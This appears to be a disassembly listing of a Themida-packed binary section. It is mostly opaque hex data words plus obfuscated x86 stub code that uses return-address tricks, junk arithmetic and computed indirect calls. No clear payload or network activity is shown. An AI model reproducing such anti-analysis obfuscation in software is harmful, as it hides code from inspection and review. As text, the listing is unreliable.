		dd 48000000h, 0AEEA1CBAh, 94AF57D6h, 91B27DBBh,	83AC2EDCh
		dd 0B3FA9AF0h, 13A53D6Eh, 9576A2BAh, 0E8C46C0Ch, 6FD0966Ch
		dd 4A29766Fh, 284950D1h, 0DD7E2165h, 0FC921390h, 7DD6D274h
		dd 62ACAF58h, 95ECBD6Eh, 524B247Bh, 1F806BCDh, 9595375Dh
		dd 6FAF5872h, 39662B4Ch, 0F5A1F7E0h, 12DF4FE9h,	43ECh
		dd 5EFF3700h, 6508E13h,	0D67C2065h, 0C51D0E93h,	10AAABD8h
		dd 0AF584218h, 0C06841EAh, 2F743D5Fh, 8A911299h, 3966A4E9h
		dd 763F59BAh, 95D07D22h, 0D6C7CE08h, 0A635AF57h, 0D601FDFDh
		dd 1E412DFh, 3F000000h,	0B93959BAh, 57D70B0Fh, 655EF9AFh
		dd 0E649EF38h, 0AFE28342h, 7E571E3Eh, 65CD7031h, 6E6675F8h
		dd 8F140D20h, 0FB387516h, 0DC41042Ah, 0C4692043h, 8D169DD3h
		dd 389BC30Eh, 0C4D55A17h, 2F36FF54h, 41FA4009h,	14B268D3h
		dd 0A09FB2C2h, 0A06A84CBh, 0AF586968h, 68CCCC7Eh, 9DB6AF58h
		dd 0ACB6E24Dh, 0A916F406h, 43DADE68h, 8FA8AF58h, 5E05BF77h
		dd 0F4AD0CDAh, 50B3B5FFh, 0EE3F642Dh, 6AB844Ah,	1008B2D8h
		dd 0F2B5FFF5h, 2D50DF59h, 0DE7D2664h, 0C6C00A97h, 32B5FFF4h
		dd 52F1F8B9h, 741EF1Bh,	0B5FFF503h, 59F556C1h, 1286971Ch
		dd 0CD6142A8h, 0DC7F2088h, 0F4970895h, 7FCF09BDh, 21FEFF35h
		dd 0DBDF699Dh, 0A9B600CAh, 0E8B92A8Eh, 8387C145h, 41B600CBh
		dd 0EFB0FDD6h, 0E7990643h, 2D94238Ch, 0C0684BF1h, 0CBF32489h
		dd 0B600CACFh, 0A51E9AB5h, 1F56F5FCh, 2B6608EBh, 0BB97078Dh
		dd 42147722h, 109h, 0EB5E7E5h, 1F5AF7D8h, 8F355399h, 57D73D7Dh
		dd 16FB0FAFh, 0DDBA3E7Bh, 70F6220Dh, 0B60062F1h, 6A3B78D3h
		dd 9B0482CBh, 0B36CB1F8h, 0CB54D990h, 0E5BEE3A6h, 0E0A70C49h
		dd 0E46BEA4Bh, 0BCDFE64Fh, 2905B1F5h, 0CC14775Ah, 42h
		dd 0BB6E757h, 0D74DADDFh, 1C372F57h, 0D7535797h, 23502F57h
		dd 0CA683966h, 369F228Fh, 3368EE6Dh, 0AAC27372h, 57D71810h
		dd 6841EA2Fh, 89AB14B2h, 0EE4A63C0h, 57D70018h,	0DD69C2AFh
		dd 7C52h, 0B5E77500h, 5AF7D80Eh, 1F99921Fh, 0ADCB3D5h
		dd 8DA6B600h, 95DC7F20h, 6508EB11h, 296872Ch, 1E3FFE9Dh
		dd 0E4DDCE53h, 0C76BFBFh, 0D2DB600h, 2242E340h,	0D348C66Bh
		dd 268DC352h, 7395337Dh, 0B6000C37h, 29F6220Dh,	44C7430Ah
		dd 841E3D0h, 0D351EB1Fh, 0B1BCAD72h, 0E5881986h, 0EBC007ACh
		dd 0A3F95B4Ah, 47E8FCD1h, 7A74A50Ah, 160FBD70h,	96CC56F0h
		dd 15B6C35Ah, 0C1453E77h, 0EB5E7DAh, 3DE4AED8h,	0FDDEB605h
		dd 0F03D165Fh, 0C1450C2Fh, 29763F5Eh, 430BB3Dh,	51FDC22Eh
		dd 0DC1101C7h, 0CBA0C5FAh, 9EBD266Ah, 2E733E5Fh, 8E9F04FDh
		dd 0AFE6852Ah, 0DC95B81Bh, 24418B57h, 298F529Dh, 9258A2Eh
		dd 4B60E74Ch, 940E3EAh,	9F2957BDh, 0C5FBC49Bh, 315DCE69h
		dd 0D87B2474h, 12B30C91h, 57000000h, 0C49B9F29h, 0CE69C5FBh
		dd 2A773E5Dh, 0B07CA7F1h, 1158FFCBh, 3970138Ch,	40092BF4h
		dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h,	0CD84A47Dh
		dd 0D792BF60h, 7F68FA4Ah, 89000027h, 4468240Ch,	89000053h
		dd 50682434h, 8900001Ch, 88682414h, 8B06AD66h, 0C4832434h
		dd 4EC8304h, 83242489h,	5A042404h, 170E68h, 24348900h
		dd 0FF08428Fh, 835A2434h, 348B04C4h, 0E3895324h, 4C381h
		dd 0C3810000h, 4, 5C241C87h, 0FB11D9E9h, 0F7EC08FFh, 83E48F91h
		dd 1468CADCh, 0B85FBCABh, 6AD6B8Dh, 0E0FFC503h,	1997F583h
		dd 58E40BE9h, 3B07C99Dh, 7FDEFD0Dh, 69640242h, 3B692B94h
		dd 4D6B2257h, 3B2EF927h, 4E3E6C22h, 0B625D02h, 50ECC33Ch
		dd 2B73F895h, 3BD4B76Fh, 200F2D4h, 3452B085h, 39A0F951h
		dd 3ADD48C4h, 3B570C09h, 104A9521h, 3ECDE915h, 21E3B9E1h
		dd 62B9A09Ch, 1160D459h, 0EFB6CC8h, 6D2D8D8Dh, 89F506ADh
		dd 0A805B98Dh, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0ECEC6F7Dh, 8D0F97FBh
		dd 6, 1B99BD31h, 85C706A8h, 6A81469h, 6CF4h, 13E9h, 0AC7ACB00h
		dd 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h,	0BBD85C7h
		dd 6A8h, 0F98B0000h, 0FFD98B66h, 0A814A1B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8A0F1A89h, 6, 2FCFD681h, 95FF517Ch, 6A820DDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0ABC35242h, 3577C700h
		dd 6673B013h, 6ADF8B66h, 3195FF00h, 8B06A81Bh, 0B629EBC0h
		dd 0F483733h, 91155164h, 290E141Dh, 0D93C2608h,	0A814671Ah
		dd 0A16E23A9h, 91F6961Eh, 0A3069DF8h, 0CF6B0CD3h, 927C437h
		dd 6E5D8D8Dh, 6A06ADh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 66BB35C3h, 0FDAD4BBh, 8D89D1B7h
		dd 6A805B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0AFC35141h, 66D95596h, 0C7758FBBh, 0A8146985h
		dd 611806h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 8A1347EAh, 0FEEF480h, 85C7F6BFh
		dd 6A80BBDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5A07FF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A07FF	proc near		; CODE XREF: Themida_:005A07F7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5A07FF	endp

; ---------------------------------------------------------------------------
		db 0E2h
		dd 0F3FD09D8h, 0E9514F53h, 0Ah,	0B3FD4921h, 0D38C47Ah
		dd 0B5FFE72Fh, 6A83509h, 160DBD01h, 95FF06A8h, 6A820DDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7AC35141h
		dd 0A14D33B4h, 0B7C260C3h, 5985892Eh, 6A06A81Ah, 3195FF00h
		dd 8B06A81Bh, 0C268EBC0h, 241F9ECAh, 0A48A4109h, 0CC6CE185h
		dd 0E8207A87h, 74EB251Dh, 78291E2Ah, 719D4513h,	0B438B540h
		dd 0FDC2F6F9h, 5C1114BEh, 0D704DAC6h, 0A1C1CFA5h, 0DD80B8AFh
		dd 16264237h, 6C73F678h, 0DE6625E6h, 5295417Ah,	1DBCB146h
		dd 1D0BD591h, 24502B96h, 5BA0A118h, 0CFF8C3F9h,	3493C3DAh
		dd 591C7A9Bh, 465A9148h, 0E99C1D89h, 0EEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 14C35141h, 5B882BAEh
		dd 8DD34301h, 0AD6F4AB5h, 858DF506h, 6AB3B9Bh, 0D88B6660h
		dd 810F56h, 5B000000h, 0E9D0FF61h, 13h,	2F527473h, 926EA2B2h
		dd 82E20198h, 0E8BF804Ah, 0C3F90882h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0D6C35545h,	0CF816660h, 66614AC0h
		dd 8A60D98Ch, 0A60ABAE6h, 0F6610293h, 840F04C1h, 4Eh, 11E9h
		dd 0AE0B7000h, 97202FF0h, 0C73EEF48h, 7291D055h, 0FB8B905Dh
		dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h,	0EBD98Bh
		dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh
		dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0CB8160FCh
		dd 64D6150Fh, 85C761F8h, 6AD6F8Dh, 1013Fh, 11E8h, 0FFE7A400h
		dd 0C283321h, 0E8813C2Eh, 6A2A8864h, 9E823EBh, 0B000000h
		dd 0C839D832h, 4F137A00h, 5B5AF28Bh, 11BF6660h,	52CC8093h
		dd 70C38161h, 0E900005Ah, 8, 7591BDB6h,	88BF6076h, 0C9BEC033h
		dd 8B2B9B92h, 0E952033Ch, 0Ch, 78162642h, 0E66C73F6h, 7ADE6625h
		dd 2CEF815Ah, 0F70510Bh, 198Dh,	14E900h, 330A0000h, 5D7B884Bh
		dd 3CA8D13Fh, 1C5A47FBh, 119E8439h, 0EF81BB26h,	70C6EAD7h
		dd 887EBF60h, 0DE815C22h, 6DF4C06Ah, 0DDEF8161h, 0F971C483h
		dd 5BCEBE57h, 48F0874h,	0C3FBE03h, 5A565DC4h, 0D761E881h
		dd 810F063Bh, 0Bh, 58E0Fh, 81660000h, 81FBAAEAh, 3BD75DC0h
		dd 18860F06h, 0E8000000h, 0Eh, 14536AE2h, 70B97194h, 0AAAE259Eh
		dd 0BE6600EFh, 815EA681h, 0FFA6CCF8h, 32850FFFh, 0E8000000h
		dd 11h,	36CEA574h, 685B0103h, 44F340BFh, 0CFED4A21h, 8E9F9h
		dd 0C9F30000h, 8F9FD838h, 0E959F582h, 25h, 0E81427A9h
		dd 4FCE1C81h, 0D6816622h, 18E9C5F2h, 0E8FFFFFFh, 1B3EDB50h
		dd 615BA846h, 0BBF2A698h, 400D5BC4h, 60EB31h, 17h dup(0)
		dd 0E9000000h, 0B4Ah, 0B3EE9h, 796B6800h, 3FE906ADh, 68FFFB0Ch
		dd 6AD7A96h, 0FB0C35E9h, 7B0868FFh, 2BE906ADh, 69FFFB0Ch
		dd 0A00387CEh, 0CF70B6F3h, 0F95AE0A9h, 298A1055h, 7AC14508h
		dd 0F7BADB37h, 236E10B3h, 51183CE7h, 82CB6AD5h,	0BAA004h
		dd 0B6054808h, 0BA97BCFAh, 2E733A59h, 52F4BBFDh, 427F921Fh
		dd 0D48E520h, 89E77A0h,	19CD84A7h, 1F4F5FDFh, 55F3ADDCh
		dd 0AD86971Ch, 0FD4D7D55h, 0A7F11262h, 90DC1EC4h, 67BCEA5h
		dd 0E775B5D7h, 0E44FAF57h, 6202AD0Bh, 7014FF2Bh, 930CFF39h
		dd 0A708BEF3h, 385CCD84h, 0BDFB2C71h, 0B43455CEh, 57E71612h
		dd 6A43ECAFh, 52BC3ABCh, 74D95DBAh, 18119ED3h, 891A892Fh
		dd 0E278A5E8h, 852A6301h, 0F79B0494h, 0EF50153Ah, 80990643h
		dd 0B1F97397h, 0EDBBA19Dh, 0B46DDE5Ah, 0CF50DD94h, 0ACBAE7A2h
		dd 6AAED806h, 58AF5800h, 0FFD3D7FFh, 86B1AF57h,	0EE4A0325h
		dd 0A4C8FB59h, 53B715EDh, 617AD2A7h, 0D0715288h, 0F4397415h
		dd 0EA1CCAA3h, 0AF5872AEh, 0F77DBB94h, 5E46355h, 0D0F621B6h
		dd 662F49AAh, 0E748E039h, 0A8E1874Ah, 60D06BBFh, 0A9E527C3h
		dd 9BB605E4h, 0BFF6927Dh, 5E51317h, 6D46F1B6h, 753C5FC0h
		dd 5CFF0A31h, 0D9B2FB9Dh, 0EDA0C22Dh, 0DAC15740h, 0B4E7E6C3h
		dd 0FDDA180Dh, 0DFCAE8F4h, 3DEF15h, 0E7300000h,	0BA180DB4h
		dd 57D70800h, 0BBD9FAAFh, 47ED19F2h, 57D70505h,	0B0FD9EAFh
		dd 42A83A73h, 57D70038h, 7069C2AFh, 0E90B6966h,	65B33724h
		dd 0FFDDBA3Eh, 0C5321752h, 1BDFE0h, 0E7FA0000h,	0BA180DB4h
		dd 57D70800h, 8B70D9AFh, 52FFDDBAh, 6D10F317h, 0C5AFF424h
		dd 0EB5E7E0h, 0E1FFAED8h, 6AC5B5FFh, 0E20105C5h, 369DB5FFh
		dd 0DD716D6Dh, 0F5941477h, 0AF000001h, 0DC0AA9E7h, 622B4DB6h
		dd 0D7003036h, 0B8E6AF57h, 557D3457h, 0AF57D755h, 81A3042Fh
		dd 75DE60C8h, 15D47728h, 0A2FB3875h, 90B21DC9h,	0CAF15BDDh
		dd 30155CFFh, 4FF927C3h, 0AF57D74Bh, 8BAD1E39h,	0EC4C5DC2h
		dd 0DB4E7C7h, 3B59BA18h, 0BCFC2D72h, 0E8F4E9D6h, 0EF15DFCAh
		dd 63h,	0C0B4E730h, 57D78286h, 0FED740AFh, 0B31CBA09h
		dd 4556DB9Eh, 0AB0841E4h, 0E8202672h, 0FEAF57D6h, 57F17915h
		dd 0AF57D753h, 8B2D0631h, 0BAFDEA45h, 5454F61Ch, 2EAF57D7h
		dd 423CCD05h, 19827A3Ah, 52FF949Fh, 0B078C2F6h,	8962C1D3h
		dd 0BAE0C59Ch, 72550430h, 0F595487Eh, 49227BB8h, 4460EFh
		dd 0BA3B0000h, 0D6AEEA1Ch, 0BB94AF57h, 0B00BAA7Dh, 800BACBh
		dd 0D9AF57D7h, 0A0B93BBDh, 0C0BD31B9h, 58300206h, 66A2E4AFh
		dd 5CAF5830h, 6F58F3F3h, 0EA1CBA7Ah, 0AF57D6AEh, 284ABB94h
		dd 42293365h, 321752FFh, 0A9E7E0C5h, 55F3DC0Ah,	34569C1Ch
		dd 0AF57D700h, 5BC469C2h, 0CF357138h, 0AF0940E4h, 9D5CFF84h
		dd 3B6CB1FCh, 59BA6542h, 0FE2F7439h, 0BADCC9BAh, 0D6AEEA1Ch
		dd 0BB94AF57h, 0B00BAA7Dh, 0BA3CDACBh, 0C341EB11h, 0DDC652E7h
		dd 0DFCAE8F4h, 49EF15h,	4BF10000h, 57D6F931h, 0C860CBB2h
		dd 0DB4E7E3h, 800BA18h,	0DEAF57D7h, 0D71216B0h,	47F0AF57h
		dd 0D72119A3h, 48E3AF57h, 10F55EE0h, 52FFDDBAh,	6E10F317h
		dd 0BADFE23h, 0EA1CBA20h, 0AF57D6AEh, 887DBB94h, 54DF93h
		dd 0E7FA0000h, 0B3D90DB4h, 57D71109h, 75B5D7AFh, 4FAF57D7h
		dd 0A2C1E2E4h, 7C5546EBh, 0BAF73Ch, 0AF57D708h,	0BA8B70D9h
		dd 8BCBCB30h, 11931BE3h, 5256A0F4h, 0D380E1D9h,	98100996h
		dd 52FFF552h, 21C53217h, 0D74941FBh, 983BAF57h,	64C5BEFBh
		dd 0F22B88C1h, 0ACDF7DA6h, 0FA000000h, 0DC0AA9E7h, 622B4DB6h
		dd 0BA4CEC3Dh, 0AF57D786h, 1FF1327Ch, 0B62F2761h, 0ACCF50DDh
		dd 0A982CB6Dh, 0BFF6927Dh, 0FFB49379h, 0C330155Ch, 0DB4E7E6h
		dd 0F4FDDA18h, 15DFCAE8h, 0F0B9DCC7h, 1C3E7AB3h, 2Ah, 0DB4E727h
		dd 1E57F6D9h, 0B109891h, 93B31CBAh, 0D05851DEh,	57D71216h
		dd 6247F0AFh, 52FFDDBAh, 0E0C53217h, 3EDFh, 0B4E7FA00h
		dd 0BA180Dh, 0AF57D708h, 9558F5DEh, 68C0B9F4h, 4D042485h
		dd 0E9DEB7E0h, 52FFDDBAh, 3355F317h, 0AF57D6F7h, 600162CDh
		dd 0BAA08B2Dh, 9002E230h, 0BA2B258Ch, 514AD79Eh, 0FF3962C7h
		dd 6AAED85Ch, 58AF57D7h, 79B1CBFFh, 4BAF57D7h, 0F9AAF7E0h
		dd 2B94125Bh, 1ADC4108h, 0AF57D71Ch, 2C33FCD9h,	59FA4009h
		dd 302E733Ah, 0B6E2AFCFh, 0F8D3F117h, 440D3037h, 0A1D745C6h
		dd 0D3501D3Eh, 0D6F830DAh, 61CAAF57h, 85285288h, 7FB5FFE1h
		dd 878F4FD4h, 23B5FFE1h, 0FFEBE748h, 1E1477DCh,	28h, 155CFF21h
		dd 0D74A4E88h, 3859AF57h, 0DB772875h, 75F9119Eh, 0A3EDE523h
		dd 36FFF48Ch, 0F2B318A7h, 0E88948EBh, 517ECCA5h, 0FC9D5CFFh
		dd 0A33B6CB1h, 96EF0E6Fh, 0E74C25B8h, 994DF626h, 77B3D573h
		dd 4DAF5835h, 0DAB0B6E2h, 0A8B605A6h, 1B9D5B6Eh, 325459FAh
		dd 0B60592F6h, 918A63CCh, 0B902B215h, 5AFCE70Dh, 7918A17h
		dd 0AD9D5EC1h, 0E38324BCh, 9CE1D963h, 88A3BCADh, 9F00A69Fh
		dd 3C6DB2FFh, 0F0D30FFCh, 8F98054Ch, 9CD7DF29h,	18F3BCADh
		dd 10AF9B97h, 1A4E1F8Ah, 0D1000000h, 0DC0AA9E7h, 57D77EAAh
		dd 0C26344AFh, 8F70968Fh, 991AA0E9h, 38h, 0EA1CBABCh, 0AF57D6AEh
		dd 0AA7DBB94h, 58153516h, 1501BB6Fh, 0CBAF57D7h, 0A60B46E8h
		dd 0FF1D2375h, 953D7414h, 0AF57D795h, 3FEBC46Fh, 400D2E91h
		dd 0C16ECAE3h, 7358EEA7h, 179DFh, 0ABE7FA00h, 0E6C31308h
		dd 30155CFFh, 95E130BAh, 0B0C32191h, 0F4B59278h, 15DFCAE8h
		dd 1CEFh, 0ABE73000h, 0BA1308h,	0AF57D708h, 0BA7451FAh
		dd 1059FFDDh, 0DFE0C52Bh, 3Eh, 8ABE7FAh, 3BF398D2h, 0A86BAA63h
		dd 0B54D7CAEh, 58D0D041h, 800BA53h, 0D9AF57D7h,	0B5F517BDh
		dd 8FAF57D6h, 0D71E1AA4h, 86E4AF57h, 57D74444h,	3C153EAFh
		dd 0DDBA6643h, 2B1059FFh, 5CFFE0C5h, 314BF115h,	0AF57D6F9h
		dd 0E3C860CBh, 0B4E7E6C3h, 0B6AFE685h, 0C58CAF10h, 228FC264h
		dd 0DA84AF09h, 3474963Ch, 0EAF57D7h, 0F4A8F325h, 15DFCAE8h
		dd 5EEFh, 2C67F100h, 0AA7B2A00h, 0C6BFF692h, 1CBA4952h
		dd 57D6AEEAh, 4ABB94AFh, 0E13A672Eh, 0E65DF0B7h, 0DA1CBA01h
		dd 548C95CEh, 0B3B5E3BBh, 0AF583277h, 0BA05E24Dh, 0D6AEEA1Ch
		dd 0BB94AF57h, 0BA88F77Dh, 0BBD3559h, 0AF57D70Fh, 69615AF5h
		dd 0CBC8E38Ah, 61CE6AA3h, 0C59C89CCh, 43DFE0h, 0E7FA0000h
		dd 0BA180DB4h, 57D70800h, 58F5DEAFh, 1187901Dh,	1C1CAECCh
		dd 0E6AF57D7h, 0D7424680h, 1700AF57h, 7BA1453Eh, 57D6C9C1h
		dd 1890BBAFh, 3859BA13h, 0B9FF2875h, 52FFD4B3h,	69B6F39Fh
		dd 0C5624730h, 9C5DFFE0h, 3F68B5FCh, 1611D946h,	0E9AF57D7h
		dd 82C33FCh, 0C58FAEA0h, 524BE8A5h, 0BDCD1E98h,	9333E325h
		dd 5D36B8A7h, 5DFFE2C9h, 76168F14h, 4DE9BB7h, 0D0AD41ADh
		dd 29766F4Eh, 5D64CD66h, 0D630763Fh, 0AF58A90Fh, 74B9F094h
		dd 0E7D24A23h, 2E12DF00h, 4EEAA3C5h, 0FFFE558Ch, 5EA697FFh
		dd 1CAF57D7h, 0AF57D798h, 8EC7654Eh, 0D6DBDC2Ah, 9591AF57h
		dd 57AF57D7h, 0AF57D74Fh, 5951EB11h, 2BAF57D7h,	565EA800h
		dd 556F57D7h, 1CAE5CE7h, 7602C3CFh, 410C2E91h, 6B2E43DCh
		dd 3F182672h, 4900288Bh, 0FDE67CEFh, 4831550h, 2B8FA390h
		dd 85030653h, 423B14EBh, 1CE362A4h, 76A17CAAh, 7FED3652h
		dd 0E8595A2Ch, 285h
		dd 6EBCF594h, 59EDA8C5h, 8F1B52F6h, 0FF4B0E24h,	287E3354h
		dd 63040EA3h, 1737982Eh, 0C163CC5Ah, 0F2913288h, 6DFF6FBBh
		dd 54FDFDBh, 0B867A5B6h, 763F59BAh, 97DE7D22h, 0A813810Ah
		dd 482EC872h, 0B314B605h, 0B3F71195h, 91B60547h, 1235CDA6h
		dd 0B9C34057h, 0DB2D7952h, 0B60533DBh, 23C77CD0h, 0B2A5AB99h
		dd 0C15F99BCh, 6245B1BDh, 9E773A5Ch, 0AEF701A5h, 36D8AC72h
		dd 8D2B3167h, 0EF490C22h, 0D6541D40h, 0E512AE28h, 8B430A29h
		dd 15763CE7h, 0A6F73C79h, 268EAD72h, 0A3F04682h, 0D45932E4h
		dd 0B2091A12h, 982391BCh, 7A46D862h, 133CC35Fh,	20690CF7h
		dd 347919FAh, 96B51EE4h, 6BC952DFh, 377C3558h, 0AFD90DE6h
		dd 0CA0CEBCDh, 96179CB7h, 86699D26h, 4B0226E7h,	2DCB5E6h
		dd 7D1AE25Ch, 569C1C82h, 0BADC0234h, 0B357C0D0h, 26642D50h
		dd 0A97DE7Dh, 1F52F3DCh, 0F6325492h, 0CCD0BADBh, 0D82E8A63h
		dd 0D0BAF5DCh, 20C67DDFh, 686800E6h, 0C469C2D7h, 0BC6AD143h
		dd 1091DF0Ah, 5E8AA5DEh, 0CB197934h, 5A867FBCh,	69000001h
		dd 0A00387CEh, 0CF70B6F3h, 0F95AE0A9h, 298A1055h, 7AC14508h
		dd 0F7BADB37h, 236E10B3h, 51183CE7h, 82CB6AD5h,	0BAA004h
		dd 0B6055108h, 0E797BCFAh, 818DEFB5h, 0A0BF11CDh, 62D913B7h
		dd 0D74D107Dh, 64A64CECh, 0B6058782h, 0C14AD740h, 0A7E32553h
		dd 9DB60587h, 9B2DD9B2h, 0BCAD97F0h, 216C0DF6h,	0C30DABFCh
		dd 730CB068h, 2F8CEC7Ch, 0E856h, 1950F700h, 480D228Dh
		dd 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh, 96398DC0h
		dd 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 528286C0h, 3A40B605h
		dd 0EB5E71Dh, 48D0AED8h, 99B2B605h, 29E88B14h, 0DE6C4508h
		dd 129FD675h, 6A902B89h, 0B2B9E2D0h, 0BAA0BCh, 0BCB2BA08h
		dd 227851FAh, 2264EC81h, 0BCB2B9E6h, 37B947D4h,	0D111F482h
		dd 96398D66h, 0E10FBBF2h, 0B1F963A7h, 0A2F621BCh, 9EDB77D8h
		dd 0ABE68768h, 7B1C870Dh, 0F6469036h, 6451649Eh, 61C248E0h
		dd 96398DC0h, 0E70DB9F4h, 0B28965A5h, 0A4F45FBCh, 16D775DEh
		dd 7BAEDA72h, 161D87ACh, 5DC6443Dh, 9033773Eh, 0F967A3EEh
		dd 91B17416h, 6DBEE3DCh, 63D87CCBh, 410F0547h, 5AF5C360h
		dd 0E8294CD5h, 0EA100940h, 6E96F060h, 96022173h, 3A32Ch
		dd 0B0860000h, 1158FFCBh, 3970138Ch, 40092BF4h,	6D2042E3h
		dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h
; ---------------------------------------------------------------------------
		dec	edx
		cli
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	7393h
		mov	[esp], esi
		mov	esi, 57591685h
		xor	esi, 62CF05C7h
		shl	esi, 6
		add	esi, 0A128A116h
		mov	edx, esi
		pop	esi
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		sub	eax, 1684087h
		add	eax, ecx
		add	eax, 1684087h
		mov	[eax], edx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp


loc_5A16B5:				; CODE XREF: Themida_:005A16BAj
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		jge	short loc_5A16B5
		lea	edx, [edi]
		jle	short loc_5A16D7
		jns	short near ptr loc_5A16D7+1
		pop	ecx
		mov	eax, 6AD7C15h
		add	eax, ebp
		mov	eax, ebx
		jmp	loc_5A1937
; ---------------------------------------------------------------------------
		db 60h,	66h, 8Ch
		db 0D9h, 0F6h, 0C1h
; ---------------------------------------------------------------------------


loc_5A16D7:				; CODE XREF: Themida_:005A16BEj
					; Themida_:005A16C0j
		add	al, 0Fh
		test	ds:6A000000h, dh
		add	edi, edi
		mov	ch, 0F9h
		xor	[eax+71858D06h], ebp
		imul	ebp, [ebx-762F00FAh], 0A8268D85h
		push	es
		mov	edi, esi
		shr	edi, 0Ch
		push	20060000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+6A8268Dh]
		jmp	loc_5A1745
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+6A815D5h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+6A80F95h]
		lea	eax, [ebp+6AB6971h]
		call	eax
		mov	[ebp+6A81405h],	eax
		lea	eax, [ebp+6A80755h]
		push	eax
		push	40h
		push	5
		push	esi
		call	dword ptr [ebp+6A81405h]


loc_5A1745:				; CODE XREF: Themida_:005A170Ej
		popa
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
		dd 52000000h, 8B60D48Bh, 85890842h, 6AD7D42h, 890C428Bh
		dd 0AD7D3A85h, 10428B06h, 7D3E8589h, 0B58D06ADh, 6AD7D78h
		dd 8EA1858Dh, 0D0FF005Bh, 0CC25A61h, 42B58B00h,	8B06AD7Dh
		dd 0AD7D3A85h, 3EBD8306h, 6AD7Dh, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+6AD7D42h],	eax
		lea	esi, [ebp+6AD7DC9h]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		mov	eax, [ebp+6AD7D42h]
		retn	4
; ---------------------------------------------------------------------------
		dw 858Bh
		dd 6AD7D42h, 8589008Bh,	6AD7D42h, 0CFh,	0B5896000h, 6AD7D9Fh
		dd 7D9B8589h, 858D06ADh, 6A82815h, 8944408Bh, 0AD7DD885h
		dd 0EB58D06h, 8D06AD7Eh, 5B8EA185h, 61D0FF00h, 7D9F858Bh
		dd 8BC306ADh, 0AD7D9B9Dh, 43B70F06h, 8BD8033Ch,	9D03785Bh
		dd 6AD7D9Bh, 324738Bh, 0AD7D9BB5h, 7B8B5606h, 1C738B20h
		dd 7D9BBD03h, 0B50306ADh, 6AD7D9Bh, 0FFC983FCh,	9F9D8B41h
		dd 8B06AD7Dh, 9B950317h, 8306AD7Dh, 28A04C7h, 840FC084h
		dd 0Fh,	850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
		dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 9B850386h, 8906AD7Dh
		dd 0AD7D9F85h, 8BF08B06h, 81C18BCEh, 0AD7DD8BDh, 30000006h
		dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
		dd 3FF8h, 7DD8BD8Bh, 0C8306ADh,	148B0607h, 24C28B07h, 8B813C81h
		dd 57840FC1h, 81000000h, 0AD7DD8BDh, 30000006h,	0D850FC0h
		dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h
		dd 2Dh,	6088340h, 8000F7h, 840F0000h, 1Eh, 7DD8BD81h, 6ADh
		dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h
		db 8, 6, 0CFh
; ---------------------------------------------------------------------------


loc_5A1937:				; CODE XREF: Themida_:005A16CCj
		lea	eax, [ebp+6AD7D46h]
		mov	[ebp+6A80D65h],	eax
		lea	eax, [ebp+6AD7DDCh]
		mov	[ebp+6A81EB9h],	eax
		lea	eax, [ebp+6AD7DA3h]
		mov	[ebp+6A816F5h],	eax
		lea	ecx, [ebp+6AD803Ch]
		push	0
		push	ebx
		call	sub_5A196C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A196C	proc near		; CODE XREF: Themida_:005A1964p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5A196C	endp

; ---------------------------------------------------------------------------
		adc	al, 35h
